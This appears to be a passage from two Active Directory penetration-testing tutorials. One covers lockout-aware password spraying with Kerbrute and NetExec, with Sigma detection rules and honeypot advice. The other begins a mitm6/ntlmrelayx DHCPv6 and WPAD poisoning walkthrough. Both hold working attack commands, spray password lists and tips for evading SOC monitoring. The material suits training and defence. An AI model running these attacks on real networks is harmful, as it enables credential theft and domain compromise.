There is the trap. ServiceAccountsPSO allows only two safe attempts (3 - 1), not four, and its observation window is ten minutes, not five. Any user in the ServiceAccounts group must be sprayed on a different clock.

Which users does the PSO cover?

Get-ADFineGrainedPasswordPolicy -Identity ServiceAccountsPSO -Properties msDS-PSOAppliesTo |
  Select -ExpandProperty msDS-PSOAppliesTo
CN=ServiceAccounts,OU=Groups,DC=lab,DC=genxcyber,DC=local
Get-ADGroupMember "ServiceAccounts" | Select SamAccountName
SamAccountName
--------------
svc_sql
svc_backup
svc_web

Resultant policy per user

msDS-ResultantPSO is computed per user and resolves precedence for you. If two PSOs both apply, the one with the lowest msDS-PasswordSettingsPrecedence wins as the Resultant Set of Policy.

Get-ADUserResultantPasswordPolicy -Identity svc_sql | Select Name,LockoutThreshold,LockoutObservationWindow
Name               LockoutThreshold LockoutObservationWindow
----               ---------------- ------------------------
ServiceAccountsPSO                3 00:10:00
Get-ADUserResultantPasswordPolicy -Identity jsmith
Get-ADUserResultantPasswordPolicy : The specified directory service attribute or value does not exist

An empty result for jsmith means no PSO applies and the account inherits the domain default of five. That distinction, PSO users versus default users, is exactly the bucketing you will code in section 9.

Raw LDAP for the PSO container

When you only have a shell and ldapsearch, hit the container directly:

ldapsearch -x -H ldap://192.168.56.10 -D "jsmith@lab.genxcyber.local" -W \
  -b "CN=Password Settings Container,CN=System,DC=lab,DC=genxcyber,DC=local" \
  "(objectClass=msDS-PasswordSettings)" \
  msDS-LockoutThreshold msDS-LockoutObservationWindow msDS-LockoutDuration \
  msDS-PasswordSettingsPrecedence msDS-PSOAppliesTo
dn: CN=ServiceAccountsPSO,CN=Password Settings Container,CN=System,DC=lab,DC=genxcyber,DC=local
msDS-LockoutThreshold: 3
msDS-LockoutObservationWindow: -6000000000
msDS-LockoutDuration: -36000000000
msDS-PasswordSettingsPrecedence: 10
msDS-PSOAppliesTo: CN=ServiceAccounts,OU=Groups,DC=lab,DC=genxcyber,DC=local

NetExec ships a module for this too:

nxc ldap 192.168.56.10 -u jsmith -p 'Winter2024!' -M pso
PSO         192.168.56.10   389    DC01   [+] Found PSO: ServiceAccountsPSO
PSO         192.168.56.10   389    DC01   Precedence: 10
PSO         192.168.56.10   389    DC01   LockoutThreshold: 3
PSO         192.168.56.10   389    DC01   ObservationWindow: 10 minutes
PSO         192.168.56.10   389    DC01   AppliesTo: CN=ServiceAccounts,OU=Groups,...

You now hold two lockout profiles: threshold 5 / window 5 min for the general population, threshold 3 / window 10 min for three service accounts.


Hierarchy diagram showing the ServiceAccountsPSO overriding the domain default policy for svc_sql and svc_backup via group membership, while jsmith and apatel inherit the less restrictive domain default
FGPPs override the domain default for any user in their linked global security group – spray at the domain rate against PSO-covered accounts and you will trigger lockouts.

6. Building the Target User List Safely

A spray list is only safe if the accounts on it are safe to touch. Enumeration here has two goals: get the usernames, and read each account’s current badPwdCount so you do not push an already-hot account over the edge.

Unauthenticated username validation with Kerbrute

Kerbrute abuses the Kerberos AS exchange. It sends an AS-REQ for a candidate username. If the account does not exist, the KDC returns KDC_ERR_C_PRINCIPAL_UNKNOWN. If it exists, the KDC responds with KDC_ERR_PREAUTH_REQUIRED. The difference in error code tells Kerbrute the username is valid, all without submitting a password, so badPwdCount never moves. These probes generate Event ID 4768 (a TGT was requested) rather than the failed-logon 4625, which is why they slip past SOCs that only watch 4625.

kerbrute userenum -d lab.genxcyber.local --dc 192.168.56.10 \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames-nnm.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

2024/06/02 14:22:10 >  Using KDC(s):
2024/06/02 14:22:10 >   192.168.56.10:88
2024/06/02 14:22:11 >  [+] VALID USERNAME:  jsmith@lab.genxcyber.local
2024/06/02 14:22:11 >  [+] VALID USERNAME:  apatel@lab.genxcyber.local
2024/06/02 14:22:12 >  [+] VALID USERNAME:  mchen@lab.genxcyber.local
2024/06/02 14:22:13 >  [+] VALID USERNAME:  svc_sql@lab.genxcyber.local
2024/06/02 14:22:18 >  Done! Tested 8295712 usernames (4 valid) in 8.031 seconds

Authenticated list with bad-password metadata

With one valid credential, pull all enabled users and filter out accounts that already sit near the threshold. The userAccountControl:1.2.840.113556.1.4.803:=2 bit is the LDAP matching rule that selects disabled accounts, so we exclude it.

Get-ADUser -Filter * -Properties badPwdCount,lastBadPasswordAttempt,passwordLastSet,Enabled |
  Where-Object { $_.Enabled -eq $true -and $_.badPwdCount -lt 3 } |   # threshold 5, keep a 2-attempt buffer
  Select SamAccountName,badPwdCount,lastBadPasswordAttempt,passwordLastSet |
  Export-Csv safe_targets.csv -NoTypeInformation
Import-Csv safe_targets.csv | Select -First 5 | Format-Table -Auto
SamAccountName badPwdCount lastBadPasswordAttempt passwordLastSet
-------------- ----------- ---------------------- ---------------
jsmith         0                                  3/14/2024 9:02:11 AM
apatel         1           5/28/2024 8:41:55 AM   1/22/2024 4:15:30 PM
mchen          0                                  2/09/2024 11:48:02 AM
rgarcia        0                                  4/30/2024 7:33:19 AM
tnguyen        2           6/01/2024 6:12:44 PM   11/03/2023 10:20:41 AM

Note tnguyen at badPwdCount = 2. One more failure inside the observation window and they hit 3, still under the domain threshold of 5, but if tnguyen were in the ServiceAccounts group they would be one attempt from lockout. Because badPwdCount is per-DC, run this against every DC and take the maximum before you trust it. In a single-DC lab that caveat is academic, but write your tooling as if it is not.

lastBadPasswordAttempt also doubles as a passive health check during the spray: if it starts moving on accounts you are not targeting, someone else (or a service with a stale password) is generating failures and you may be blamed for their lockouts.


7. Selecting a Candidate Password Corpus

The whole model is few passwords, many targets. You will typically get four safe rounds per observation window against the general population, so pick the four highest-probability passwords, not forty mediocre ones.

passwordLastSet is your best signal. It tells you roughly when each user last changed their password, and with maxPwdAge = 90 days you know they change it quarterly. A user whose passwordLastSet is May 2024 almost certainly has a Spring2024, May2024, or Q2-2024 style password if they follow the season-plus-year antipattern. Correlate the corpus to the calendar.

Practical corpus sources, ranked by hit rate in real engagements:

  • Season plus year plus symbol: Winter2024!, Spring2024!, Summer2024!
  • Company name plus number: Genxcyber1, GenX2024!
  • Password1!, Welcome1, Changeme123 for freshly provisioned or reset accounts (look for very recent passwordLastSet)
  • Month plus year for monthly-rotation shops: June2024!
  • OSINT-sourced values: local sports teams, product names, anything on the corporate homepage

Keep the list short and keep it aligned to the policy’s MinPasswordLength (7 here) and complexity flag so you do not waste rounds on passwords the domain would reject outright.


8. Lab Spray Walkthrough

Compute the cadence explicitly. A tiny helper keeps you honest and produces a number you can defend in your report.

# spray_cadence.py - cadence calculator, not a weapon
THRESHOLD      = 5            # from policy enumeration
OBS_WINDOW     = 5 * 60       # observation window in seconds
SAFE_ATTEMPTS  = THRESHOLD - 1
SPRAY_DELAY    = OBS_WINDOW + 30   # buffer for clock skew / DC lag

print(f"Safe passwords per account per window: {SAFE_ATTEMPTS}")
print(f"Wait {SPRAY_DELAY}s between password rounds to reset badPwdCount")
Safe passwords per account per window: 4
Wait 330s between password rounds to reset badPwdCount

Kerberos-path spray with Kerbrute

Spraying over Kerberos pre-auth is the quiet option. A wrong password produces KRB5KDC_ERR_PREAUTH_FAILED, which the DC logs as Event 4771 with failure code 0x18, an event most SOCs under-monitor compared to 4625. Use -t 1 (single thread) and a delay to keep it slow and orderly.

# Round 1: one password, all safe targets
kerbrute passwordspray -d lab.genxcyber.local --dc 192.168.56.10 \
  safe_targets.txt 'Winter2024!' -t 1 --delay 500
2024/06/02 15:10:04 >  Using KDC(s): 192.168.56.10:88
2024/06/02 15:10:05 >  [+] VALID LOGIN:  jsmith@lab.genxcyber.local:Winter2024!
2024/06/02 15:10:07 >  [+] VALID LOGIN:  apatel@lab.genxcyber.local:Winter2024!
2024/06/02 15:10:09 >  [+] VALID LOGIN:  mchen@lab.genxcyber.local:Winter2024!
2024/06/02 15:11:22 >  Done! Tested 812 logins (3 successes) in 78.44 seconds

Three hits and every non-matching account sits at badPwdCount = 1. Now wait the full window before round two:

sleep 330
kerbrute passwordspray -d lab.genxcyber.local --dc 192.168.56.10 \
  safe_targets.txt 'Spring2024!' -t 1 --delay 500
2024/06/02 15:17:15 >  Using KDC(s): 192.168.56.10:88
2024/06/02 15:18:39 >  Done! Tested 809 logins (0 successes) in 84.02 seconds

Zero hits, and because 330 seconds elapsed, the counter reset from round one before round two ever landed. No account ever saw two consecutive failures.

SMB-path spray with NetExec

The SMB/NTLM path is louder. It generates 4625 (with substatus 0xC000006A, meaning the username is valid but the password is wrong) plus 4776 on the DC. Use it when you specifically want NTLM behavior, but know you are noisier.

nxc smb 192.168.56.10 -u safe_targets.txt -p 'Winter2024!' \
  --no-bruteforce --continue-on-success
SMB    192.168.56.10   445    DC01   [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.genxcyber.local)
SMB    192.168.56.10   445    DC01   [-] lab.genxcyber.local\rgarcia:Winter2024! STATUS_LOGON_FAILURE
SMB    192.168.56.10   445    DC01   [+] lab.genxcyber.local\jsmith:Winter2024!
SMB    192.168.56.10   445    DC01   [+] lab.genxcyber.local\apatel:Winter2024!
SMB    192.168.56.10   445    DC01   [+] lab.genxcyber.local\mchen:Winter2024! (Pwn3d!)

--no-bruteforce pairs the username list with the single password one-to-one instead of a full cartesian product, which is exactly the spray behavior you want. (Pwn3d!) on mchen means that credential is also a local admin on the target, an immediate escalation lead.

Verify the credential without adding risk

Confirm one win over Kerberos by requesting an actual TGT. A successful AS-REP proves the password and gives you a usable ticket cache.

getTGT.py lab.genxcyber.local/jsmith:'Winter2024!' -dc-ip 192.168.56.10
export KRB5CCNAME=jsmith.ccache
klist
[*] Saving ticket in jsmith.ccache

Ticket cache: FILE:jsmith.ccache
Default principal: jsmith@LAB.GENXCYBER.LOCAL

Valid starting       Expires              Service principal
06/02/2024 15:31:02  06/03/2024 01:31:02  krbtgt/LAB.GENXCYBER.LOCAL@LAB.GENXCYBER.LOCAL

That TGT is the golden output of the whole exercise. It is the client’s proof-of-identity ticket, encrypted with the krbtgt key, and it carries a Privilege Attribute Certificate (PAC) describing the user’s group memberships. From here you request service tickets (TGS) for whatever you want to touch next, all without ever re-sending the password.


Flow diagram of the Kerberos AS-REQ exchange during a password spray showing the three possible KDC responses: a valid AS-REP ticket on success, PREAUTH_FAILED error on wrong password generating event 4771, and C_PRINCIPAL_UNKNOWN on invalid usernames
Kerberos spraying never triggers Event 4625 – failed attempts produce 4771 with code 0x18, an event most SOCs fail to monitor, making Kerberos the quieter spray path.

9. PSO-Aware Spraying

A uniform spray rate across the whole domain is where careful operators still fail. The ServiceAccounts group is under a PSO with msDS-LockoutThreshold = 3, so those accounts tolerate only two attempts, and their observation window is ten minutes, not five. Bucket users by their resultant policy and drive each bucket on its own clock.

$users = Get-ADUser -Filter {Enabled -eq $true} -Properties 'msDS-ResultantPSO'
$report = foreach ($u in $users) {
    $psoDN = $u.'msDS-ResultantPSO'
    if ($psoDN) {
        $pso = Get-ADObject $psoDN -Properties 'msDS-LockoutThreshold','msDS-LockoutObservationWindow'
        $threshold = $pso.'msDS-LockoutThreshold'
    } else {
        $threshold = 5   # domain default when no PSO applies
    }
    [PSCustomObject]@{
        User         = $u.SamAccountName
        Threshold    = $threshold
        SafeAttempts = $threshold - 1
    }
}
$report | Export-Csv per_user_policy.csv -NoTypeInformation
$report | Group-Object Threshold | Select Name,Count
Name Count
---- -----
5     2497
3        3
$report | Where-Object Threshold -eq 3 | Format-Table -Auto
User       Threshold SafeAttempts
----       --------- ------------
svc_sql            3            2
svc_backup         3            2
svc_web            3            2

Now split the target files: safe_targets_default.txt (four rounds per five-minute window) and safe_targets_pso.txt (two rounds per ten-minute window). Two schedules, never one. If your automation only knows a single cadence, keep the PSO accounts off the spray entirely rather than risk them. Three locked service accounts is exactly the kind of disruption that gets an engagement paused.


10. Understanding the Protocol-Specific Event Footprint

The protocol you spray over determines what a defender sees. This is not cosmetic; it is the core of spray tradecraft.

ProtocolToolPrimary DC EventDetail
SMB / NTLMNetExec, CrackMapExec4625 + 4776SubStatus 0xC000006A = valid user, wrong password
Kerberos pre-authKerbrute, Rubeus4771Failure code 0x18 = bad password
LDAP simple bindldap3, custom Python4625 or 4776Depends on DC configuration
Explicit-cred logonany, from domain-joined host4648“logon attempted using explicit credentials”

The critical asymmetry: most SOCs built their spray detection around 4625 because that is the classic failed-logon event. But a Kerberos spray never touches 4625. It produces 4771 on failure and 4768 on the username-enumeration probes, and if Kerberos auditing is not explicitly enabled, those events do not exist at all. That gap is why Kerberos is the quieter path and why defenders must audit the Kerberos Authentication Service, not just Logon events.

Add jitter and low thread counts regardless of protocol. A burst of hundreds of 4771 events from one source IP inside one minute is trivially clustered. Slow, single-threaded, one password per observation window is both safer for lockouts and quieter for detection, the two goals happen to align.


11. Common Attacker Techniques

TechniqueDescription
Policy-first sprayingRead lockoutThreshold and lockoutObservationWindow before any attempt, cap at threshold - 1
PSO-aware bucketingSplit targets by msDS-ResultantPSO so stricter FGPP accounts get a slower clock
Kerberos pre-auth spraySpray over AS-REQ to generate 4771/4768 instead of the heavily-watched 4625
Username validation via KerbruteDistinguish valid users by KDC error codes without spending a password attempt
passwordLastSet correlationMatch season/year candidates to each user’s last password change quarter
Single-DC pinningTalk to one DC so per-DC badPwdCount stays predictable

12. Defensive Strategies & Detection

Detection starts with audit policy. If the policy is off, the events never get written and every SIEM rule below is dead on arrival. Enable Advanced Audit Policy Configuration via GPO at Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration:

  • Domain Controllers: Audit Logon (Success and Failure) produces 4625.
  • Domain Controllers: Audit Kerberos Authentication Service (Success and Failure) produces 4771 and 4768. This is the one most environments forget, and it is what makes Kerberos sprays visible.
  • All systems: Audit Logon (Success and Failure) produces 4648.

Event IDs that matter

Event IDTriggerSpray relevance
4625Failed logon (SMB/NTLM)SubStatus 0xC000006A = valid user, wrong password
4771Kerberos pre-auth failedFailure code 0x18 = bad password
4776NTLM credential validation at DCErrorCode 0xC000006A in volume
4768TGT requestedKerbrute userenum footprint; unusual source IP for privileged accounts
4648Logon with explicit credentialsFires on the spraying host itself

Sigma rules

title: Password Spray via Failed Logons (AD)
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4625
    SubStatus: '0xC000006A'
  timeframe: 1m
  condition: selection | count(TargetUserName) by IpAddress > 20
falsepositives:
  - Misconfigured service accounts with stale passwords
level: high
tags:
  - attack.credential_access
  - attack.t1110.003
title: Password Spray via Kerberos Pre-Auth Failure
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4771
    FailureCode: '0x18'
  timeframe: 1m
  condition: selection | count(TargetUserName) by IpAddress > 20
level: high
tags:
  - attack.t1110.003

Tune the volume thresholds per environment. Reasonable starting points: alert on more than 50 4625 in one minute, more than 50 4771 with code 0x18 in one minute, and more than 100 4648 on a single workstation in one minute.

Honeypot account

Create a fictitious account that no legitimate process will ever authenticate as, give it an attractive name like svc_admin_backup, and place it in a monitored OU. Any 4625 or 4771 referencing that username is a spray in progress. This detection needs no volume threshold at all: one event is the alert. It catches the careful, low-and-slow operator that count-based rules miss.

Passive badPwdCount monitoring

Get-ADUser -filter * -prop lastBadPasswordAttempt,badPwdCount |
  Select name,lastBadPasswordAttempt,badPwdCount |
  Sort-Object badPwdCount -Descending | Format-Table -Auto
name          lastBadPasswordAttempt badPwdCount
----          ---------------------- -----------
tnguyen       6/1/2024 6:12:44 PM              2
apatel        5/28/2024 8:41:55 AM             1
svc_sql       6/2/2024 3:41:10 PM              1
jsmith                                         0

Run this against every DC and sum, because badPwdCount is not replicated. A broad, shallow distribution of badPwdCount = 1 across hundreds of accounts, all with nearly identical lastBadPasswordAttempt timestamps, is the exact signature of a spray that stays under the threshold. That pattern, many accounts each at 1, is more diagnostic than any single account’s count.


Conceptual illustration of a glowing honeypot account as a trap in a dark server room, with shadowy attacker silhouettes triggering detection tripwires as they approach
A honeypot account requires no volume threshold – a single authentication attempt against it is an unambiguous spray-in-progress alert that catches low-and-slow operators count-based rules miss.

13. Tools for Password-Spray Recon and Detection

ToolDescriptionLink
NetExec (nxc)LDAP/SMB policy pull (--pass-pol), PSO module, spray executiongithub.com/Pennyw0rth/NetExec
KerbruteKerberos username enum and pre-auth spraygithub.com/ropnop/kerbrute
ldapsearchRaw LDAP policy and PSO enumerationopenldap.org
PowerViewGet-DomainPolicy, Get-DomainPolicyData from offensive PowerShellgithub.com/PowerShellMafia/PowerSploit
RSAT ActiveDirectory moduleGet-ADDefaultDomainPasswordPolicy, Get-ADFineGrainedPasswordPolicy, Get-ADUserResultantPasswordPolicylearn.microsoft.com
Impacket getTGT.pyVerify credential via Kerberos TGT requestgithub.com/fortra/impacket
BadBloodPopulate a realistic lab directorygithub.com/davidprowe/BadBlood

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Password SprayingT1110.0034625 SubStatus 0xC000006A, 4771 code 0x18, honeypot account, broad badPwdCount=1 pattern
Brute Force (parent)T1110Volume-based Sigma on failed-logon events per source IP
Password Policy DiscoveryT1201LDAP reads of lockoutThreshold / PSO container, net accounts via SAMR
Account Discovery: Domain AccountT1087.002Bulk 4768 from Kerbrute, mass LDAP user enumeration
Valid Accounts: Domain AccountsT1078.002Successful 4768/4624 from anomalous source after failed-logon burst

The whole chain sits under the Credential Access tactic (TA0006), with T1201 and T1087.002 as the enumeration prerequisites that make the T1110.003 spray both safe and effective.


Summary

  • Policy enumeration is the exploit; the spray is an afterthought. Reading lockoutThreshold and lockoutObservationWindow before the first attempt is what makes “lockouts never” a guarantee rather than a hope.
  • Stay at threshold - 1 and wait the full observation window between rounds. One password across many accounts, then wait, then the next password. badPwdCount resets before it ever reaches the threshold.
  • PSOs override the default policy and will lock accounts under a uniform spray. Enumerate the Password Settings Container, bucket users by msDS-ResultantPSO, and run stricter FGPP accounts on their own slower clock.
  • Protocol choice dictates the event footprint. Kerberos pre-auth produces 4771/4768 that many SOCs never audit; SMB produces the heavily-watched 4625. Defenders must enable Kerberos Authentication Service auditing or the quiet spray is invisible.
  • Detect via audit policy plus honeypot accounts plus the many-accounts-at-badPwdCount-1 pattern, and remember badPwdCount is per-DC, so query every controller and sum before you trust the number.

Related Tutorials

References

IPv6 and DHCPv6 Takeover with mitm6 and ntlmrelayx: From Passive Listener to Domain Foothold

Objective: Learn how a Linux attacker with zero credentials turns Windows’ silent preference for IPv6 into full domain compromise. You will build the lab, run the mitm6 + ntlmrelayx chain end to end (DHCPv6 poisoning, WPAD coercion, NTLM relay to LDAPS, machine account creation, RBCD, S4U ticket forging, credential dumping), and then wire up the detection and hardening that shuts every stage down.


This is the attack that surprises people the first time they watch it work. You plug a Linux box into a domain network, you have no username, no password, no hash. You start two tools. Ten minutes later you are dumping NTLM hashes off a workstation as Administrator, and if a domain admin happened to be active, you have DCSync rights over the entire domain. No exploit, no CVE, no malware dropped on a host. Just protocol abuse.

The whole thing rides on a design decision Microsoft made back in Vista: Windows prefers IPv6 over IPv4, always, even on networks that have never configured a single IPv6 address. That preference is the crack. mitm6 and ntlmrelayx pry it open.

I will walk the chain against a self-built corp.local lab. Every stage gets its enumeration first, because in a real engagement you never fire blind, then the exploitation, then representative output so you know exactly what success looks like on screen.


1. Why Windows Gives IPv6 to Strangers

Every Windows version since Vista, workstation and server alike, ships with IPv6 enabled and ranked above IPv4 in the address selection policy. When the network stack comes up, the machine does not just sit there waiting for IPv4 DHCP. It also fires off IPv6 autoconfiguration, and per RFC 3315 it sends DHCPv6 Solicit messages to the multicast group ff02::1:2, asking any listening DHCPv6 server for an address and configuration options.

The DHCPv6 handshake is a four-message exchange:

StepMessageDirectionPurpose
1SolicitClient to ff02::1:2“Any DHCPv6 servers out there?”
2AdvertiseServer to client“Yes, here is what I can offer”
3RequestClient to server“I accept, give me the config”
4ReplyServer to clientAddress + options (including DNS)

Here is the key insight. In a normal IPv4-only enterprise there is no legitimate DHCPv6 server answering those Solicits. The requests go out and nobody replies. So the attacker just becomes the reply. mitm6 listens for those Solicits and answers with a crafted Advertise and Reply that hands the victim a link-local IPv6 address and, critically, sets the attacker’s machine as the victim’s primary DNS server using the DNS_SERVERS option.

Now the victim has a DNS server it trusts, controlled by the attacker, ranked above its real IPv4 DNS because IPv6 wins. From that moment forward, name resolution is yours to poison. That is the entire foothold. Everything downstream is just deciding what to do with control over DNS.


Flow diagram showing a Windows client sending a DHCPv6 Solicit to the multicast group, a legitimate server staying silent, and mitm6 answering with a rogue Advertise that sets the attacker as DNS server
mitm6 wins the unanswered DHCPv6 race and hijacks the victim’s DNS resolver in four messages.

2. The Lab: Build a Target You Are Allowed to Break

You need three machines on an isolated segment. Keep this on a host-only or internal virtual switch so rogue Router Advertisements and DHCPv6 replies never leak onto a network you do not own. This attack is loud at the link layer and will disrupt real hosts.

RoleHostnameOSIPv4
Domain ControllerDC01Windows Server 2019/2022192.168.56.10
Domain memberWIN10-CLIENTWindows 10/11192.168.56.20
AttackerkaliKali / Ubuntu192.168.56.100

Promote DC01 to a domain controller for corp.local, join WIN10-CLIENT to the domain, and leave the following defaults in place. These are not exotic misconfigurations; they are how most domains ship out of the box, which is exactly why this attack is so effective in the wild.

  • ms-DS-MachineAccountQuota at the default of 10 (any user can create machine accounts)
  • Domain controller: LDAP server signing requirements set to Not Required
  • LDAP channel binding not enforced
  • SMB signing Not Required on the member workstation (default for non-DCs)
  • IPv6 enabled everywhere (Windows default)
  • WPAD blocked only by DNS, not by GPO or firewall

Install the tooling on Kali:

pipx install impacket
pip3 install mitm6
sudo apt install -y responder
installed package impacket 0.11.0, installed using Python 3.11.8
  These apps are now globally available
    - ntlmrelayx.py
    - secretsdump.py
    - getST.py
    - psexec.py
Successfully installed mitm6-0.3.0

3. Two Tools, One Kill Chain

The attack splits cleanly across two programs. Understand the division of labor before you run anything.

ToolRole in the chain
mitm6Rogue DHCPv6 server + DNS poisoner. Wins the IPv6 race and points victims at the attacker for DNS.
ntlmrelayx.pyNTLM relay engine. Receives the coerced authentication and replays it to LDAPS / SMB / HTTP on a chosen target, then runs post-relay actions automatically.

The start order matters and people get it wrong. Start ntlmrelayx first, so the relay listeners are already bound and ready. Then start mitm6. If you poison DNS before the relay is listening, the first victim authentications hit a closed port and you waste them.

mitm6’s most important flags:

FlagPurpose
-d <domain>Only spoof for this DNS domain, cuts noise and collateral
-i <interface>Interface to listen on
--ignore-nofqdnDrop requests with no FQDN, fewer spurious replies
--host-allowlist <host>Poison only a specific victim

ntlmrelayx’s flags for this chain:

FlagPurpose
-6Bind listeners on IPv6 as well as IPv4
-t ldaps://<DC>Relay target, LDAPS so account creation is possible
-wh <host>Serve a rogue WPAD file to coerce HTTP auth
--delegate-accessAuto-configure RBCD when a machine account is relayed
--add-computerCreate a new attacker-controlled machine account via LDAP
-l <dir>Dump LDAP enumeration loot to a directory

4. Stage 0: Recon Before You Poison Anything

You never run mitm6 blind. First confirm the environment is actually vulnerable, and identify which targets are relay candidates. Every command below has representative output so you can compare against your lab.

4.1 Confirm IPv6 is live on the victim

From an attacker perspective you cannot log into the victim, but you can passively confirm IPv6 is chatty. Sniff for IPv6 neighbor and router traffic:

sudo tcpdump -i eth0 -n 'ip6 and (udp port 547 or icmp6)'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:02:11.883901 IP6 fe80::a1c3:22ff:fe0d:9e21 > ff02::16: HBH ICMP6, multicast listener report v2, 1 group record(s)
14:02:19.104772 IP6 fe80::a1c3:22ff:fe0d:9e21.dhcpv6-client > ff02::1:2.dhcpv6-server: dhcp6 solicit
14:02:23.551210 IP6 fe80::a1c3:22ff:fe0d:9e21.dhcpv6-client > ff02::1:2.dhcpv6-server: dhcp6 solicit

Those dhcp6 solicit lines going to ff02::1:2 with nobody answering are the vulnerable condition in one packet. WIN10-CLIENT is asking for a DHCPv6 server and the network is silent. That silence is your opening.

4.2 Enumerate relay candidates by signing posture

NTLM relay to SMB only works against hosts with SMB signing not required. Relay to LDAP requires LDAP signing not enforced. Enumerate the whole subnet in one shot:

netexec smb 192.168.56.0/24 --gen-relay-list relay_targets.txt
SMB    192.168.56.10   445    DC01           [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True)  (SMBv1:False)
SMB    192.168.56.20   445    WIN10-CLIENT   [*] Windows 10 Build 19045 x64 (name:WIN10-CLIENT) (domain:corp.local) (signing:False) (SMBv1:False)
SMB    192.168.56.20   445    WIN10-CLIENT   [+] Enumerated hosts with SMB signing not required
cat relay_targets.txt
192.168.56.20

DC01 shows signing:True (mandatory on DCs), so it is off-limits for SMB relay. WIN10-CLIENT shows signing:False, a valid SMB relay target. For this chain, though, we are relaying to LDAPS on the DC, not SMB, because our end goal needs LDAP writes.

4.3 Confirm LDAP signing is not enforced

If LDAP signing or channel binding is enforced, the LDAPS relay dies. Check it:

netexec ldap 192.168.56.10 -u '' -p '' -M ldap-checker
LDAP  192.168.56.10  389  DC01  [+] (Unauthenticated bind allowed for enumeration checks)
LDAP  192.168.56.10  389  DC01  LDAP-CHECKER  LDAP Signing NOT Enforced!
LDAP  192.168.56.10  636  DC01  LDAP-CHECKER  LDAPS Channel Binding is set to "NEVER"

“LDAP Signing NOT Enforced” and channel binding “NEVER” together mean the relay to LDAPS will bind cleanly. Both of these are the default and both are what you fix in Stage 12.

4.4 Enumerate the machine account quota

The whole RBCD path depends on being able to create a computer account. That is governed by ms-DS-MachineAccountQuota on the domain naming context root. You can read it anonymously on many domains, or with any low-priv account:

netexec ldap 192.168.56.10 -u '' -p '' -M maq
LDAP  192.168.56.10  389  DC01  MAQ  [*] Getting the MachineAccountQuota
LDAP  192.168.56.10  389  DC01  MAQ  MachineAccountQuota: 10

MachineAccountQuota: 10 confirms the killer condition. Any authenticated principal, including a relayed machine account, can add up to ten computer objects. Set this to 0 and the RBCD variant of this attack dies on the spot. That single value is the highest-impact mitigation in this entire article.


5. Stage 1: Rogue DHCPv6 and DNS Poisoning

Now the exploitation begins. Start ntlmrelayx first (covered in Stage 3), then bring up mitm6. For clarity I will show mitm6 on its own here so you can read the poisoning.

5.1 Launch mitm6, scoped

sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
Starting mitm6 using the following configuration:
Primary adapter: eth0 [00:0c:29:5b:a4:7e]
IPv4 address: 192.168.56.100
IPv6 address: fe80::20c:29ff:fe5b:a47e
DNS local search domain: corp.local
DNS allowlist: corp.local
IPv6 address pool: fe80::100 - fe80::1ff
--------------------------------------------------------------------------------
IPv6 address fe80::100 is now assigned to mac=a1:c3:22:0d:9e:21 host=WIN10-CLIENT.corp.local. ipv4=192.168.56.20
Sent spoofed reply for wpad.corp.local. to fe80::100
Sent spoofed reply for dc01.corp.local. to fe80::100

Read those lines carefully. mitm6 saw the DHCPv6 Solicit from WIN10-CLIENT, handed it the link-local address fe80::100 from its pool, and installed itself as the DNS server. The moment the client asks to resolve wpad.corp.local, mitm6 answers with its own address. DNS is now yours.

--ignore-nofqdn and -d corp.local keep mitm6 from replying to every random device on the segment. Scope it tighter with --host-allowlist if you only want one victim.

sudo mitm6 -d corp.local --host-allowlist WIN10-CLIENT -i eth0
DNS allowlist: corp.local
Hostname allowlist: WIN10-CLIENT
IPv6 address fe80::100 is now assigned to mac=a1:c3:22:0d:9e:21 host=WIN10-CLIENT.corp.local. ipv4=192.168.56.20

5.2 Confirm the poisoning on the wire

Drop a Wireshark or tshark filter on dhcpv6 || (ipv6 && dns) and you will see the four-message exchange complete with the attacker as server:

sudo tshark -i eth0 -Y 'dhcpv6 || dns' -n
  3 0.442  fe80::a1c3:22ff:fe0d:9e21 -> ff02::1:2   DHCPv6 Solicit XID: 0x8f2a11 CID: WIN10-CLIENT
  4 0.443  fe80::20c:29ff:fe5b:a47e  -> fe80::a1c3.. DHCPv6 Advertise XID: 0x8f2a11 IAADDR fe80::100 DNS: fe80::20c:29ff:fe5b:a47e
  5 0.501  fe80::a1c3:22ff:fe0d:9e21 -> ff02::1:2   DHCPv6 Request XID: 0x8f2a11
  6 0.502  fe80::20c:29ff:fe5b:a47e  -> fe80::a1c3.. DHCPv6 Reply XID: 0x8f2a11 DNS: fe80::20c:29ff:fe5b:a47e
 19 3.884  fe80::a1c3:22ff:fe0d:9e21 -> fe80::20c.. DNS Standard query AAAA wpad.corp.local
 20 3.885  fe80::20c:29ff:fe5b:a47e  -> fe80::a1c3.. DNS Standard query response AAAA fe80::20c:29ff:fe5b:a47e

Packet 4 is the smoking gun: the attacker’s Advertise sets the DNS: option to its own IPv6 address. Packet 20 is the payoff: when the victim resolves wpad.corp.local, the attacker answers with itself. Everything that WPAD triggers now flows through your machine.

A word of operational discipline from experience: run mitm6 in five to ten minute bursts. Acting as DNS for the whole segment starts breaking legitimate name resolution fast, and outages get you noticed. Time your bursts to natural authentication spikes: start of shift, right after lunch, when laptops come out of sleep and re-login. That is when you catch the machine and user authentications you actually want.


6. Stage 2: WPAD Coercion and the NTLM Handshake

Poisoning DNS is passive. To turn it into captured credentials you need the victim to authenticate to you. That is where WPAD comes in.

6.1 Why WPAD gets you authentication for free

Web Proxy Auto-Discovery is a legacy convenience feature. Windows, by default, tries to auto-detect a proxy by resolving the hostname wpad.<domain> and fetching http://wpad.<domain>/wpad.dat. Because mitm6 now answers wpad.corp.local with the attacker’s address, that fetch lands on ntlmrelayx’s rogue HTTP server. ntlmrelayx responds with HTTP 401 demanding authentication, and Windows, believing it is talking to a trusted internal proxy, transparently sends the user’s or machine’s NTLM credentials without a prompt.

